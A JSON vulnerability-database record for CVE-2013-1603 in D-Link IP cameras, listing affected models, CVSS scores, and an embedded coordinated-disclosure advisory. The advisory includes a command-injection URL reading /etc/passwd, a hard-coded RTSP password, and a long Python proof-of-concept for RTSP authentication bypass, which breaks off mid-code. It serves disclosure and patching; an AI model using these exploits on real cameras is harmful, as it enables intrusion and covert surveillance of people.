        "model": "dcs-5230",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 0.9,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-1100l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3430",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605/5635",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-1100l/1130l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100/1130",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100/1130 1.04 us",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121 1.05 ru",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2102/2121 1.06 fr",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "tesco dcs-2102/2121 1.05 tesco",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411/3430",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "tesco dcs-2121 1.05 tesco",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "tesco dcs-2102 1.05 tesco",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-2121 1.06 fr",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2121 1.05 ru",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102 1.06 fr",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.06"
      },
      {
        "model": "dcs-2102 1.05 ru",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1130 1.04 us",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100 1.04 us",
        "scope": null,
        "trust": 0.3,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "d link",
        "version": "1.03"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Pablo Santamaria",
    "sources": [
      {
        "db": "BID",
        "id": "59571"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-1603",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-1603",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 7.5,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2013-04638",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "exploitabilityScore": 3.9,
            "id": "CVE-2013-1603",
            "impactScore": 1.4,
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 5.3,
            "baseSeverity": "Medium",
            "confidentialityImpact": "Low",
            "exploitabilityScore": null,
            "id": "CVE-2013-1603",
            "impactScore": null,
            "integrityImpact": "None",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-1603",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-1603",
            "trust": 0.8,
            "value": "Medium"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-04638",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201305-041",
            "trust": 0.6,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04638"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007157"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-041"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1603"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \\\"?*\\\". \nRemote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. \nhttp://drupal.org/node/207891. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        